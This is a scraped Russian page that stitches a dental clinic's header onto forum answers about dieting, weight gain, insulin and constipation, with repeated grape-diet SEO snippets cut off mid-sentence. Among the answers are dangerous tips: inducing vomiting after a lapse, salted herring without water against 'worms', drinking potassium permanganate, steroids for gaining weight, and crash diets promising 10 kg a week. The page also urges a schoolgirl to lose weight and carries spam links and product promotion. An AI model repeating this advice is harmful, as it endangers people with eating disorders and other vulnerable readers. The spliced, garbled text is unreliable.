Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Поела белого винограда. Что теперь? конец диете?

Да ладно че там

Виноградная диета рассчитана на четыре дня.100 г белого винограда, 50 г ананаса, четвертинка плода папайи, столовая ложка лимонного сока, четверть стакана воды.

Побегайте или упражнения поделайте какие нибудь вообще сожгите калории

Даже на одном винограде можно худеть.

Ну что же вы так расстраивайтесь? Просто переработайте энергию -включите музычку, потанцуйце, попархайте по квартире как бабочка)) Вы и о количестве съеденного забудете и настроение поднимется))

Сорвавшись не надо всё бросать коту под хвост, просто продолжайте соблюдать диету.
Можно забыть об этом, можно вызвать рвоту, на ваше усмотрение =)

Что нельзя есть при колите/энтрероколите?

Иди к врачу!

Для виноградной диеты выбирайте виноград с косточкамиУжин салат из фруктов белый виноград 100 гр. , ананас 50 гр. , папайя четверть ст. ложка лимонного сока и куриная грудка.

Острое, копчёное, жирное

Жареное, острое, соленое, и тд.

Можно есть:
пшеничный хлеб вчерашней выпечки,
несдобное печенье,
бисквит,
небольшие порции сметаны,
мягкий сыр, в котором не содержатся специи,
кефир,
простокваша.
исключить полностью:
сдобные хлебобулочные и кондитерские изделия,
жирные сорта мяса и рыбы,
копченые, соленые, маринованные и консервированные продукты,
колбасные изделия,
бобовые и крупы (пшенную, перловую) ,
необработанные овощи,
острые соусы,
пряности и специи (горчицу, перец, хрен) ,
кофе и чай с молоком,
газированные напитки.

Как похудеть

Сам пытаюсь. По опыту, кроме диет нужны занятия физкультурой ( не спортом) и вообще смена образа жизни и взгляда на еду. Иначе результаты будут не долговременными.

Для приготовления маринованного винограда подготовьте продукты по списку. Я использовала не слишком сладкий белый виноград...

Бег.
бегай невнапряг, ради удовольствия, лучше любой диеты, я вот только что с тренеровочки 10 км. пробежал, столько, простите меня, го... вна с меня через пот вышло, чувствую себя сейчас отлично, начинай с одного километра хоть пешком, хоть лёгким бегом, через 3-4 месяца 10 кг. точно скинешь, удачи!

Секс в сауне !

Диета, фитнес, сила воли и через 2-3 месяца увидишь результат! Лучше без всяких препаратов!

Для мужика ты нормально весишь. Но я бы посоветовала тебе качатся побольше

Покупал тете жидкий каштан. Действительно помогло в короткие сроки
Если интересно, то заказывал вот тут - http://vk.cc/3rvDhY

Тыквенная диета идеальный выбор для тех, кто хочет сбросить несколько лишнихБананы и виноград употреблять не рекомендуется из-за их высокой калорийности.

От каких продуктов нужно отказаться, чтобы быстро сбросить лишний вес?

В первую очередь от мучных и сладкого....

Кулинарный словарь Каталог диет Спросить у Поваренка Архив рецептов Авторы блога.Желательно, чтобы это были белые сорта винограда они нежнее и душистее.

Добавлю. Не есть после 6.

По стандарту - сладкое, жирное, жаренное, мучное. Не желательно конечно же кушать соленое - соль задерживает воду в организме.
Из овощей - нельзя картошку, из фруктов - виноград, бананы.

Мучное, сладкое (сахар).
От сахара вообще отказаться надо, чай и кофе пить без него. И заменители тоже не нужны. После отказа от сладкого и мучного сразу килограмм пять уйдет за месяц точно
Ну и в зал походить... разогнать обмен веществ

От обычной поваренной соли.

От сдобы (изделия из белой муки) и сладкого

Эта голландская диета создана специально для тех, кто стремится восстановить прежний вес послеСреда Завтрак Одно поджаренное яйцо на тосте из хлеба с отрубями, виноград 100 г ...

Майонез есть нельзя

А вам не кажется, что вы худеете без буквы "д" ?

Что бы быстро? долой все углеводы! кушать белковую пищу. почитайте диета Дюкана

От сахара, соли, муки высшего сорта, белого риса. Все крахмальные овощи кушать в небольшом количестве И всегда следуйте правилу, чем выше калорийность пищи, тем меньше порция

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, чаёв, платырей и примочек. Портила здоровье редуксином, липриной, семенами чиа, зеленым кофе, ягодами годжи, флу, кленом. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие (что важно в сегодняшней непростой ситуации в стране). Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Виноградная диета, при которой первые три дня питаются исключительно виноградомДля лечения желательно использовать белые сорта, поскольку темные иногда вызывают аллергию.

Мне 22 года худой ужас рост 182 вес 55 помогите господа: (((

Глистов выводи.

Правильное питание и диета Тельца У Тельцов, как ни у кого другого, замедлены обменные процессы, именно поэтому к своемуВаши фрукты - гранаты, виноград, абрикосы и яблоки.

А девушка ничего такая.. Если хочешь быть как мужик, не носи гомосячьи штаны....

Во первых принимай себя таким какой ты есть! Если со здоровьем все нормально то займись спортом!!!

Тебе идет..

Это нормально

Мне бы твою проблему :D

Чем полезен виноград. Октябрь 31st, 2010 Рецепты здоровья и долголетия.Диета по группе крови. Эфиры для бани. Нигерийский чай для диабетиков.

Ногти не грязи поправиться хи хи))

Закачай силикона в....

Ретоболил+спорт, только если спорт забросишь жиром заплывешь. Сходить к врачу. Терапевт все скажет что нужно.

Не спи между страницами книг, как гербарий.

Только 4 дня как курить бросил? Месяца через 3 начнешь вес набирать. И к гастроэнтерологу нужно сходить - эт правильно советуют. Ну, и спортзал хотя бы пару раз в неделю )) Молодой ишшо - были бы кости, а мясо нарастет! Жена откормит.))

Виноград является одним из видов ботанического семейства Ampelidees ампельных.Сорта красной и белой смородины.

Врачи: терапевт, эндокринолог, невролог. Если всё в принципе в норме, то смотрим, что происходит с питанием. Строительный материал белок, но питание должно быть сбалансированным. Если нет ничего"такого", связанного с серьёзными заболеваниями, спорт+правильное питание. Другого не дано. Просто учитывай, что некоторые люди "сухие" от природы, и им лучше не накачивать сверх мышцы, да и это сложно сделать будет. А вот приобрести достойную "мужскую" форму вполне возможно. Рост за 180см? Возможно ты ещё и "малоежка" если у тебя такой вес. Надо "накушивать". И не кури! Молодец, что прощаешься с этой привычкой!

Качайся качком будешь )

Вы всегда таким были? Если с рождения худой, то это не исправить. Разве что можно за счет мышц визуально увеличить массу. Вы очень симпатичный парень, удачи вам!

Ты хочешь быть как орагутанг? ты еще молодой мышечная масса не наросла она потом наростет к 28- 30 а пока не истери и будь собою

Как я тебя понимаю, сам такой же )) 20 лет, рост 178, вес 60 ...и ни в + ни в - .стабильно в общем 60

Основные принципы диеты для рельефного тела 1. Завтрак должен быть плотным, но без молока.Забудьте про белый рис - это не для рельефа. Аналогично дела обстоят и с суши не...

Начни пиво бухать - вес может и не наберёшь, а вот живот появится...

Я тебе щас напишу--балбес хренов--иди делом займись

Только не комплексуй и не сутулься

Ешь сосиски, сордельки, щековину, салат зимний, закусывай булками. Сходи покушай в макдональс месяц. Дома пел мешки шт-30. И ВЕС УВЕЛИЧИТЬСЯ ГДЕ-ТО В ДВА РАЗА. Но предупреждаю за последствия не ручаюсь.
Это кстати не полный список !
Ах да про физ. нагрузки забудь !

Во всём виноваты глисты, но не расстраивайся, от них легко можно избавится, вам нужно сьесть кило солёной селёдки и не пить воду в течении дня к вечеру они вас сами покинут.

Груши, апельсины! Бананы и виноград на диете нельзя. 3 неделя - то же самое 50 гр сухофруктов и их можно термообрабатывать.

Запишись на прием к терапевту -направит на аналезы в зависимости от результатов к нужному спецалисту. Если здоровья в норме то к (психологу) диетологу. Разберись в диете. Можешь на качать мышцы. Эти даеют визуальный эфект в ширину: широчайшую мышцу спины, трапеция, средний пучек дельты .

Были бы кости, а мясо нарастёт! Любите себя и не комплексуйте!

Вопрос. А что делаешь что бы вес набрать?
Худоба бывает разная. Из-за болезни (может человек и не подозревать о ней), питание, строение мышечной ткани (здесь много не наберешь, но определенный рельеф придать можно).
А вообще, мужчины набирают вес, скажем так, матереют после 25, когда рост прекращается, но это не означает, что надо сесть и жда 25-ти лет

Хочешь мышцы, абонемент в зал и белковую пищу в рацион! А вообще если так сильно беспокоит вес может углеводами жирок наращивать. У тебя хороший обмен веществ

Утром кашу манную и 30 гр сливочного масла плюс стакан или пол стакана сметаны с сахаром в обед что хотите ешьте ужин кашу и на ночь молоко горячее с с белой булкой и посмотрите как ваш вес пойдёт в верх и конечно не нервничать

Виноградная диета. С помощью сочных южных ягод можно легко сбросить 2 килограмма.Ужин - Фруктовый салат 100 г белого винограда, 50 г ананаса, четвертинка плода папайи...

Я думаю, что Вам нужно больше есть белков и углеводов. И конечно, физические упражнения делать надо. Мужик все-таки...

Врёш наверно . 55 . надо мышцы наращивать . хади в качалку . больше аднаго раза не лазь на бабу в сутки - может так .аль жри больше . а чтоб есть нада заниматься может . чёт не верится 55 . с виду нармально пачти.

Парень, ходи в качалку! Но имей ввиду, что из-за твоего высокого роста будет очень сложно нарастить мышцы. Понадобирся много нервов, времени и терпения. П про рост-это был комплемент. Для мужчины он идеальный

Наедайся как только можешь и сразу же ложись спать... обычно после такого с утра тоже зверский аппетит.

Часто и плотно питайтесь, кушайте очень калорийную пищу, старайтесь придерживаться такому рациону :
Первый завтрак: Смузи из банана, молока, горсти сухофруктов. Овсянка на молоке.
Второй завтрак: 30 г орехов, виноград, банан или сладкое яблоко
Обед: 300-400 г каши, макарон, вареной или печеной картошки, 200 г мяса, салат
Перекусы: 200-300 г мяса с салатом и кусочком хлеба
Перекусы: 100 г сухофруктов с орехами, или свежий сок с ломтиком хлебаПосле тренировки: Через 10 мин – 1 банан, через 40 мин – творог с джемом
Ужин: Мясное блюдо с половиной порции макарон или гречки

4. Рислинг белый виноград .Поэтому если вы решили находиться какое то время на виноградной диете употребля те виноград только мясистых сортов, так как в их составе есть...

Вижу девушка есть, красивый парень, а если хочешь поправиться ешь много чипсов м пей пепси, мне помогло, потом 2 года скидывала этот ужасный вес...

Если тебя девчёнка любит таким, то не парься особо, коси пока бабос, потом поженитесь, она тебя кормить начнёт, там и поправишься ;)

Да питайся все время в Макдональдсе или в других фастфудах, белки с углеводами мешай постоянно - будет тебе вес

Больше жри !!!

Если такой от рождения - ничего не изменится, даже не пытайся.

Избавиться от лишних 2-3 килограммов за это время вам поможет виноградная диета.буженины ужин фруктовый салат из 100 г белого винограда, 50 г ананаса,четвертинки папайи...

Были бы кости мясКо нарастет)))

1.Самое главное Перейди на правильное питание (5 приемов пищи в день, около 2х литров ЧИСТОЙ воды в день, витамины напр. рыбий жир. Утром - плотный сытный завтрак ОБЯЗАТЕЛЬНО углеводный из сложных углеводов (каша гречневая залитая молоком например или овсяная), перекус - орехи (не в больших количествах) + яблоко или банан + запеканка и пр. Обед - углеводы + белок (крупы всех видов + МЯСО). Далее опять перекус, Далее ужин - Белковый (МЯСО + зеленые овощи (огурчик, лист салата, брокколи и пр.) Самое главное есть есть есть есть есть есть и еще раз есть! не нравится каша? - через нехочу запихал быстренько в себя и освободился, как в детстве. Ну перед сном творог, желательно хотя бы за 2 часа до сна. Пихай в себя если не хочешь, главное есть) Ну а если не сможешь - твое дело, здоровье твое, от питания многое зависит. Организм должен получать полезные минералы и витамины каждый день чтобы в полной мере) Купи 3 контейнера, приготовь на след день еду, распихай ее и доставай из холодильника и ешь. И еще надо питаться каждые 3 часа. Вода организму ОЧЕНЬ нужна для настроя обмена веществ, репродукции клеток и т. п. Утром как проснешься надо обязательно выпвать стакан теплой воды за 20 мин. до еды, потом сам завтрак и т. д. 2. Спорт/упражнения + спорт пит (протеин). Не можешь купить абонемент в зал - делай дома упражненияя качайся, чтобы мышци вошли в тонус и начали набирать массу. Без упражнений мышцы не растут! И на одном спорт пите без упражнений мышцы не растут! Ну.. это в двух словах самое важное) Спорт пит поможет быстрее набирать массу, выбирай не химозный ;)
Гамбургеры хрень) тебе же не жир нужен) да они тебе и не помогут) Относись к еде как к топливу

Сходитете к эндокринологу прежде всего и запишитесь в бассейн, возможна у вас нехватка карнитина

Могу дать полезный совет пиши на ele52353617@yandex.ru реально поможет.

Качай пресс, ешь побольше) Если не поможет обращайся к врачу

Почему рекомендуют именно виноградную диету - с виноградом приятно худеть!12 00 100 г белого винограда, один стакан натурального виноградного сока.

Ого мне 14 и вес 55 и я считаю себя худым, я лично за 1 неделю набрал кг. 2-3 так, каждый день питался только белковой пищей, и в день по 1 или 2 воренного яйца, молоко и т. д. без всяких приправ и химии, только натурал. Поешь так около месяца заметишь результат. Удачи.

ЕШЬ

Ну блин проблема... некоторые сбросить вес не могут а тут набрать.. жрать желательно побольше и всё калорийное.

Спорт зал, есть по малу но часто (5 раз в день) режим с питанием и сном +10-15 кг. гарантирую.
сам дрищ, но уже лучше, в мае с ростом 183 весил 59-61кг, сейчас 75-78

Иди на кикбоксинг, там само то выступать с высоким ростом и малым весом))

Главная Диеты Виноградная диета преимущества, недостатки, меню.Обед виноградные блинчики ингредиенты 100 гр. воды, 100 150 гр. белого винограда, куриное яйцо и пара...

Худой?? Ты серьёзно??

Значит надо интенсивнее заниматься и питаться гармонично

Успокойся и кушай.

Что нельзя есть при высоком инсулине?

Сладкое

Если вы тоже хотите сбросить пару набранных килограммов, три дня придерживайтесь диеты, основанной на потреблении белого винограда и травяного чая.

Инсулин

Поменьше углеводов
Противопоказаны:
конфеты, шоколад, кондитерские изделия, сдобу, варенье, мёд, мороженое и другие сладости;
острые, пряные, солёные и копчёные закуски и блюда, бараний и свиной жир;
перец, горчицу;
алкогольные напитки;
виноград, бананы, изюм;
сахар допускается лишь в небольших количествах по разрешению врача.

Макарон, жареное, бананы, соки из магазина

Быстрые углеводы

•Старайтесь, как можно меньше есть продукты с высоким гликемическим индексом. Это, как правило, простые углеводы, то есть всё, что содержит белую муку и сахар. Особенно коварными являются газировка и пиво, сладости, пирожные и пончики. Обязательно сочетайте их, если уж совсем отказаться нельзя, с продуктами с низким гликемическим индексом.
•Чаще ешьте продукты с низким ГИ. Они перевариваются дольше, и при этом в кровь глюкоза поступает постепенно, а выработка инсулина происходит понемногу в течение длительного периода времени. Благодаря всему этому не происходит резких скачков сахара и не проявляются симптомы гипогликемии, в том числе сильный голод и желание поесть сладостей.
•Ешьте небольшими порциями и регулярно. Лучше всего будет, если вы станете устраивать себе в день пять-шесть приемов пищи (при этом снижая общую калорийность каждой порции еды).
•Не курите, так как курение препятствует правильному процессу нормализации и поддержания стабильного уровня сахара у вас в крови.
•Постарайтесь снизить употребление кофеина, который тоже стимулирует выработку избыточного количества инсулина.
•Не пейте алкоголь. Особенно не употребляйте его на голодный желудок или вместе с высоко Г-индексными продуктами.
•Съедайте небольшую порцию легких углеводов перед тренировкой или любыми физическими нагрузками. Выбирайте продукты со средним или низким гликемическим индексом, и богатые клетчаткой сложные углеводы.
•Употребляйте богатые жирными кислотами продукты группы омега-3. В них входят некоторые растительные масла, жирная рыба, тыквенные семечки, семена льна и др. Эти жиры, снижая сопротивляемость инсулину, помогают стабилизировать количество глюкозы в крови.
•Употребляйте продукты, содержащие хром. Он помогает регулировать в крови уровень сахара. Регулярно употребляйте морепродукты, орехи, сыр, ростки пшеницы, а также фрукты и овощи, в которых этого микроэлемента много.

Ужин 100 мг виноградного сока, 50 мл яблочного сока, 50 г белого винограда, 4г желатина, половинка яблока.4-й ДЕНЬ виноградной диеты. Завтрак 80г красного винограда, хлеб...

Попробуйте диету как при преддиабете [ссылка заблокирована по решению администрации проекта] . это вам и профилактика на будущеее, и здоровье на сегодня. и в предыдущем ответе хорошие рекомендации вам дали.

Какая допустимая и желательная доза углеводов в сутки должна быть для того чтобы скинуть вес ?

Принцип безуглеводной диеты элементарен – ешь много, вкусно, когда хочешь и сколько хочешь, но лишь разрешенный набор продуктов. Суть же самой системы питания состоит в том, что количество потребляемых углеводов сводят к минимуму.
Смысл в этом следующий — когда организм усваивает белки, жиры и углеводы в совокупности, он довольно быстро расщепляет углеводы, а жирами старается запасаться впрок.
Если же углеводы из употребления убрать, то нехватку энергетического материала приходится восполнять как раз из запасов, отложенных в жировой прослойке нашего тела. Почему безуглеводная методика эффективна особенно для спортсменов, понять несложно. Чем активнее человек, тем большее количество энергии и калорий он расходует, тем быстрее жировые отложения организма перерабатываются им.
Процесс извлечения энергии из резервных запасов жира называют также кетозом, а методику похудения – кето — диетой. При ограниченном поступлении глюкозы в кровь, расщепление жиров происходит довольно быстро, а в печени начинают образовываться кетоновые тела, используемые организмом вместо глюкозы.
Все безуглеводные системы питания подразделяют на два вида и сортируют по количеству разрешенной суточной нормы:
малоуглеводные диеты, в которых потребление углеводов снижается до 125 г;
жесткие безуглеводные программы, где суточная норма углеводов ограничивается 20 г.
happy-womens.com/bezuglevodnaya-dieta.html

Ужин фруктовый салат из 100 г белого винограда, 50 г ананаса, четвертинки плода папайиВ конце готовки добавить сметану и виноград. Плюсы и минусы виноградной диеты.

Ну я знаю, что желательно сахар не употреблять или есть меньше. Сколько углеводов не скажу. Мне с кашами хорошо получалось худеть. Мясо нужно есть с салатами. И картофель отдельно от хлеба. Белый хлеб не есть. Ну и двигаться нужно, - спортом там заниматься каким-нибудь.

2-3 гр на 1кг веса тела, урезать калории надо плавно а не резко сокращая гарниры на 50гр. жирное жаренное соленое исключить

Отказываетесь от жирного и сладкого, от перекусов вкусняшками. Едите часто (5-6 раз за день) и мало. Урезаете ваш обычный рацион на 10-15%. Ни в коем случае не голодаете! Бегаете в свое удовольствие три раза в неделю по 30-40 мин. (не сразу, постепенно наращиваете и читаете как делать это правильно). Раз в неделю, утром, на весы. Потеря 1-1,5 кг за неделю отличный результат! Больше не надо. Удачи!

60 - 100 грамм, сложных углеводов с утра

Вам следует рассчитать свой основной обмен и проанализировать свой рацион! ТОЛЬКО исходя из этого вам следует принимать решение об урезании чего либо. И не думайте садиться на кетоновую диету. Все что вам надо сделать это создать небольшой дефицит калорий (400-500 примерно) при сохранении потребления Белков, Жиров, Углеводов обязательно!! Каждый из них очень важен для вашего организма. Можно и желательно увеличить расход калорий спортом. Так тело не будет худым и дряблым, а приобретет упругость и плавность линий. Удачи.

Виноградная диета рассчитана на четыре дня.100 г белого винограда, 50 г ананаса, четвертинка плода папайи, столовая ложка лимонного сока, четверть стакана воды.

Какие продукты НЕЛЬЗЯ есть тем, кто боится поправиться или мечтает сбросить лишний вес?

Газировку не пить. и химию с салом не жрать.

Для виноградной диеты выбирайте виноград с косточкамиУжин салат из фруктов белый виноград 100 гр. , ананас 50 гр. , папайя четверть ст. ложка лимонного сока и куриная грудка.

Цитрусовые фрукты. то где повышенная кислотность, жирное, мучное

Быстрые углеводы: мучное, сладкое, фаст фуд… Ну и конечно же сладкую газировку лучше исключить.

Все можно есть только в меру с размером с твоей ладони, попробуй заказать еду которую дают в самолетах она правильная и диетическая

Быстрые углеводы или исключить полностью или есть на завтрак:
Сахар (глюкоза и фруктоза)
Шоколад
Мед
Любые кондитерские изделия (торты, кексы, пирожные, булочки, печенье, конфеты и т. д.)
Варенье
Сладкие ягоды и фрукты (ананас, арбуз, банан, дыня, виноград, манго, финики, черешня, черника, изюм и тд.)
Мороженое
Сладкие напитки и алкоголь
Белый и коричневый рис
Белый хлеб
Картофель

Чтоб похудеть, нужно чуточку недоедать, чтоб чувство небольшого голодка оставалось, постепенно уменьшится и количество пищи (порции) в котором раньше яко-бы нуждался человек. Вы незаметно для себя начнёте худеть. Я, когда весила 57 кг, могла и первое и второе съесть и запить обильно (выглядела пышкой, при моём-то маленьком росте) сейчас у меня 49, завтракаю кефиром или яблоком, или одно кофе, в обед первое, на вечер второе. Потребляю треть всего того объёма еды, который был.
Никакого целлюлита, я забыла вообще что это. После двух берем. вес остался 48-49, было и меньше)) но стараюсь, чтоб не падал - не красиво. Диеты не помогают. питание нужно налаживать в принципе. а не голодать неделю - а потом шо?
Есть всё можно! Важно НЕ НАЕДАТЬСЯ. У меня были периоды, когда худела от того, что перебивала себе аппетит кофе и вафлями и эклерами, не специально, просто ничего толкового не хотелось, а лись ерудны всякой. Вес падал аж страшно становилось... окружающим на меня смотреть)))
Я для себя поняла, что попраляешься от разнообразной еды, которой ты досыта напихаешь желудок!

Для приготовления маринованного винограда подготовьте продукты по списку. Я использовала не слишком сладкий белый виноград...

Я не ем почти, майонез, жаренное, жирное но я не худею и не толстею

Помогите. мне надо за месяц 10 кг сбросить

Двигаться больше, а есть меньше ВСЕГО. )
Одним отказом от конфеток тут не отделаешься.

Тыквенная диета идеальный выбор для тех, кто хочет сбросить несколько лишнихБананы и виноград употреблять не рекомендуется из-за их высокой калорийности.

Одевайте что нить плотное, то что воздух не пропускает... и давайте себе нагрузки,. что бы пот ручьем стекал.... проверенный метод!

СПИСОК ПРОДУКТОВ ДЛЯ ПОХУДЕНИЯ
1. Низкокалорийные продукты
Пять главных героев: помидоры, огурцы, грибы, белая нежирная рыба, цитрусовые.
2. Сытные продукты
Пять главных героев: овсяные хлопья, макароны из твердых сортов пшеницы, фасоль, цельнозерновой хлеб, яблоки.
3. Продукты, не провоцирующие скачки сахара в крови
Пять главных героев: обезжиренное молоко, чечевица, грибы, ягоды, салатные листья.
4. Продукты с пониженным содержанием жира
Пять главных героев: нежирный творог, куриные субпродукты, морепродукты, окунь, тунец.
5. Продукты, которые поддержат вашу внешность
Пять главных героев: чистая вода, оливковое масло, миндаль, льняное масло, авокадо.
6. Продукты, которые вам приятно есть
Пять главных героев: овощи и фрукты, которые хрустят, пока вы их едите — яблоки, морковка, болгарский перец, сельдерей и т. п. ; взбитые молочные продукты без сахара, фруктовые пюре, нежирный куриный паштет, сочные ягоды.
7. Продукты, которые не будут задерживать воду в организме
Пять главных героев: зеленый чай; апельсиновый сок, разбавленный водой; брусника; ягодные морсы и лимонады без сахара; сельдерей и сок из него.
8. Продукты, которые будут всегда с вами
Пять главных героев: бананы, обезжиренные молочные продукты в пол-литровых упаковках, зерновые хлебцы, орешки, сухофрукты.
9. Продукты, которые помогут вам строить новое тело
Пять главных героев: нежирный сыр, диетический творог, белая рыба, бобовые, яичный белок.
10. Продукты, которые вас поддержат
Пять главных героев: черный шоколад без добавок (в составе должно быть указано не меньше 75% какао), финики, помидоры, оливковое масло, орехи.
Кефирная диета для похудения на 10 кг за неделю.
Кефирная диета не только способствует снижению веса, но и помогает укрепить нервную систему, хорошо влияет на кровообращение и сосуды. Этой диеты нужно придерживаться неделю, в день надо выпивать не менее 500 мл кефира и съедать небольшое количество другой пищи:
1-ый день – 5шт. варёного картофеля;
2-ой день – 100 г отварного филе курицы;
3-ий день – 100 г варёного мяса;
4-ый день – 100 г отварной рыбы;
5-ый день – любое количество фруктов и овощей, нельзя есть только виноград и бананы, рекомендуется отказаться от картофеля;
6-ой день – можно пить только кефир;
7-ой день – придется отказаться даже от кефира, пейте только минеральную воду.
При кефирной диете нельзя употреблять в пищу соль и сахар, нельзя отклоняться от описанного порядка приёма пищи. Повторить кефирную диету можно будет не раньше, чем через 3 месяца.

Возраст, вес, рост напишите рассчитаю по калориям

Я скинула на диете по Дюкану в общей сложности более 20 кг. это белковая диета.

Правильное питание. Постарайтесь заменить жирные блюда белковыми: вместо жареной говядины — отварное куриное филе, тунец, приготовленный без добавления большого количества жиров, отварные яйца. Но и не стоит полностью отказываться от жирного: многие витамины являются жирорастворимыми.
Добавьте максимум овощей в ваш рацион: сырые, отварные или тушёные овощи — основа блюда.
Вода — минимум 1,5-2 литра в сутки.
Не злоупотребляйте сладкими и мучными изделиями: замените белый хлеб на чёрный из муки грубого помола, не увлекайтесь сладостями. Быстро восстановить уровень энергии на тренировке лучше поможет спелый банан, чем шоколадка.
Фрукты — источник витаминов и минералов наравне с овощами. Обязательно включайте их в свой зимний рацион, причём, не в виде соков (найти натуральный и полезный сок — практически невозможно, разве что, приготовить самостоятельно), а в сыром виде.
Разделяйте приёмы пищи: 3-5 приёмов вместо 1-2. Соотношение количества от дневного рациона примерно должно составлять 20% на завтрак, 35% на обед и 25% — на ужин, остальное — можно распределить между полдниками в послеобеденное время.
Зимой горячая пища поможет согреться и сэкономит усилия организма на обогрев. Это тёплые супы, овощи, чай. В пищевых добавках и витаминах в лучшем случае мало пользы. Это напрасная трата денег. Витамины необходимы при обнаружении явных признаков авитаминоза, что лучше всего определит врач-диетолог. Подробнее о правильном питании можно прочитать Тут . И обязательно бег, например во дворе или в парке. Час бега трусцой сжигает 750-900 ккал: это больше, чем за то же время езды на велосипеде, занятий теннисом и даже силовыми видами спорта. Именно бег позволяет моделировать фигуру, подсушить её, убрав лишние жировые отложения с наших «любимых» мест.
Тут можно ознакомиться подробнее.

Кулинарный словарь Каталог диет Спросить у Поваренка Архив рецептов Авторы блога.Желательно, чтобы это были белые сорта винограда они нежнее и душистее.

У меня рост 168, я вешу 60 кг. Мои одноклассники обзывают меня жирной! Подскажите что делать?

Худеть

Эта голландская диета создана специально для тех, кто стремится восстановить прежний вес послеСреда Завтрак Одно поджаренное яйцо на тосте из хлеба с отрубями, виноград 100 г ...

Не обращай внимание они завидуют

Сменить окружение.

Для начала топать до школьного психолога, и за одно начать худеть сократив излишки килакалорий

Существуют разные формулы для определения оптимального соотношения веса и роста. ..Норма для женщин - 0,65 - 0,85.

Нельзя сидеть на диетах в период интенсивного роста! просто ешь поменьше сладкого и булочек-печенек. ты выровняешься. я тоже в твоём возрасте была пухленькая, а годам к 17 уже была классная фигура, поклонников много) . используй свою внешность себе на пользу. у нас в классе была пухленькая девочка, она носила яркую не обтягивающую одежду, кучерявые волосы, разные колечки, браслетики. в общем как куколка. подумай. если не перерастёшь, тогда уже садись на диету. кстати у тебя отличный возраст что б начать заниматься спортом. попробуй плавание - от него неплохо худеют, особенно живот убирается.

Виноградная диета, при которой первые три дня питаются исключительно виноградомДля лечения желательно использовать белые сорта, поскольку темные иногда вызывают аллергию.

Очень не приятно об этом говорить но посоветуйте

Клетчатку не едите, видимо.

Правильное питание и диета Тельца У Тельцов, как ни у кого другого, замедлены обменные процессы, именно поэтому к своемуВаши фрукты - гранаты, виноград, абрикосы и яблоки.

Диета, видимо, очень плохая. Бросайте ее.

Марганцовку попить надо...

Значит твое "правильное питание" ооочень неправильное

При запорах надо больше двигаться ( ходьба быстрым шагом не менее 40 мин в день ) , пить 2 л воды в день, не кушать белый хлеб и выпечку, зато по чаще употреблять фисташки, растительное масло, грибы, семечки, капусту, яблоки, груши. сливы, виноград, отруби, свёклу )..уголь, кстати, и вызывает запор.

К врачу срочно!

Чем полезен виноград. Октябрь 31st, 2010 Рецепты здоровья и долголетия.Диета по группе крови. Эфиры для бани. Нигерийский чай для диабетиков.

Ох уж эти диеты! Откажитесь от неё. Просто надо кушать поменьше.

К терапевту бы, анализы сдать. Могут даже спайки быть в кишечнике. Но у девочек такое случается, вам бы свеклу кушать периодически и другие народные штуки. Можно иногда покупать легкие слабительные. Клизму ставить (кружка эсмарха). Все прочистит)

Сделайте колоскопию и выясните, наконец, что есть причина ваших жалоб.

А может на счёт такого вопроса лучше для начала к врачу обратиться, чем здесь спрашивать?... это я как будущий фармацевт рекомендую

Нарушения в пищеварительной системе, нарушение флоры кишечника. Обязательно нужно обследоваться, потому что нормальную работу жкт очень трудно наладить, ооочень трудно нем более если запустить

Виноград является одним из видов ботанического семейства Ampelidees ампельных.Сорта красной и белой смородины.

Не надо заниматься херней . диеты нече не помогают, я пытаюсь потолстеть все перепробовал не толстею, и также толстые с детства не похудеют нормальным способом

Когда возникает боль? Есть зависимость появления боли? Может быть колит. Следовало бы обследоваться у специалиста. Если из менее серьёзного, когда боль именно от скопления газа и ощущения переполнения, тяжести в животе - дисбактериоз кишечника. В этом случае хороши таблетки с разными бифидо - и лактобактериями (чем больше бактерий в составе - тем обычно препарат эффективнее и дороже). И советовала бы найти честного человека, который имеет коз и продаёт свежее молоко - пейте по стакану дважды в день хотя бы в течение месяца.

Пивные дрожжи и через месяц кал нормализуется

А какого цвета кал? он и не должен быть черным (это говорит о кровотечении), должен быть коричневый.

Сходи к врачу лучше

Основные принципы диеты для рельефного тела 1. Завтрак должен быть плотным, но без молока.Забудьте про белый рис - это не для рельефа. Аналогично дела обстоят и с суши не...

Чернослив поможет...

Это м. б мегаколон

3 пакетика в день мукофалька вам в помощь или дюфалак.
У меня те же проблемы после родов, соблюдаю диету, в основном стараюсь кушать овощи и фрукты, вроде сейчас все в норме. Приходилось и слабительные принимать. Но перед всем этим я проходила обследование, колоно и гастроскопию. И вам того же советую! После обследования как по часам в туалет будете ходить

Выпей сенаде

Попробуйте варёный бурак поесть должно помочь, это вроде как анти запор то есть принудительная \искуственная\ диарея. А насчёт удаления газов не в людном месте или дома оттяните в сторону одну из ягодиц что-бы приоткрылась чуть-чуть прямая кишка. Тем самым помочь газам выйти наружу

Груши, апельсины! Бананы и виноград на диете нельзя. 3 неделя - то же самое 50 гр сухофруктов и их можно термообрабатывать.

Срочно к гастроэнтерологу!!

Клетчатку не едите

Обследования проходили? Здесь может быть много нарушений: от лёгких до очень неприятных. Надо установить причину и лечить целенаправленно. Не запускайте себя.

Тут врач должен советовать, а не посторонние

Бифидумбактерин пропить не помешает)) противопоказаний к нему нет)) и хуже от него не станет))

Виноградная диета. С помощью сочных южных ягод можно легко сбросить 2 килограмма.Ужин - Фруктовый салат 100 г белого винограда, 50 г ананаса, четвертинка плода папайи...

Надо обратиться к врачу.

Много всяких причин может быть. Надо обследование делать, идите к врачу.

Клетчатку купи и пей по утрам. запоров не будет. только вот не покупай за 100 рублей, лучше хорошего качества

